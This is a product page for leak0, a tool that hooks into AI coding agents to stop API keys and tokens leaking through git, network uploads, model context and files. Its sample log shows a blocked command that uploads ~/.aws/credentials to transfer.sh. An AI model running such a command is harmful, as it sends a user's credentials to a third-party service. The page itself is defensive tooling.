Secrets stay yours.

leak0, a feature of the poison0 agent, protects your API keys and tokens from leaking through your AI agent: into git, to third-party servers, into the model and into the wrong files.

Runs on your deviceOn when you decideClaude Code, Codex, Cursor, Gemini CLI, Antigravity CLI
Commit
  • Credential files stay out of git
  • Tokens with a valid checksum stop at the commit
Network
  • Secrets stay away from paste and file-drop services
  • Your own servers stay reachable
Model
  • Secrets in tool output are redacted
  • Checksum tokens in your prompt are stopped
Files
  • Tokens stay out of code and README
  • Switching it off stays your decision, not the agent's

Your agent knows your secrets. leak0 keeps them with you.

API keys, tokens, .env, ~/.aws and SSH keys sit where your agent works. Four routes lead out. leak0 sits in the agent's hook and stops the secret on each of them, right on your device.

  1. 1Gitcommit, push, publish
  2. 2Network and toolscurl, uploads, MCP
  3. 3The modeltool output, prompts
  4. 4Wrong filescode, README, CLAUDE.md
Operating principle

Proof first.

leak0 blocks with proof and names it in every message. When a case is open, it asks or adds a note, and your work keeps running.

# leak0 - live
[block]  Bash   curl -F f=@~/.aws/credentials https://transfer.sh
         ↳ proof: credential file sent to a file-drop service
[allow]  Bash   git push origin main
[ask]    Bash   git add .env
         ↳ likely a secret: you decide
[block]  Bash   git commit -m "token ghp_…"
         ↳ proof: GitHub token with a valid checksum
[redact] Bash   cat ~/.aws/credentials
         ↳ value redacted before the model sees it
Supported agents

Five agents, three operating systems.

leak0 checks the tool calls of these agents right on your device and stops secrets before they leave it.

  • Claude CodemacOSLinuxWindows
  • Codex CLI and IDEmacOSLinuxWindows
  • CursormacOSLinux
  • Gemini CLImacOSLinuxWindows
  • Antigravity CLImacOSLinuxWindows

Details per agent in the docs

FAQ

Frequently asked questions.

Which leaks does leak0 stop?

Five cases, each with proof: a known credential file, a token with a valid checksum, a secret value already seen in the session, a secret on its way to a provably third-party destination, and the agent trying to switch leak0 off.

Which agents does leak0 protect?

Claude Code, Codex, Gemini CLI and Antigravity CLI on macOS, Linux and Windows, Cursor on macOS and Linux. The docs show what leak0 checks for each agent.

Where do the checks run?

On your device, and your content stays there. The audit holds the tool and the rule class, never a value or a path.

Is every decision logged?

Yes. Every leak0 decision goes to the audit: on the device and, in Cloud mode, in the console, without content. Observed hits stay local unless the admin turns on “Also in the console (cloud audit)” in the profile.

When is leak0 on?

As soon as you switch it on. The installer asks, with On preselected. For unattended installs, set PZ_SETUP_LEAK0. Switch existing devices and profiles on with sudo poisonzero leak0 enforce or in the console profile.

How does leak0 keep your workflow running?

When a case is open, it asks instead of blocking, or gives the agent a note. Every block comes with proof, so no false alarm holds your developers up.

How does leak0 work with exec0?

exec0 stops tool calls that do harm. leak0 stops secret leaks. Both run in the same hook, each with its own check.

See what leak0 proves.

The docs list every proof, every agent and every setting.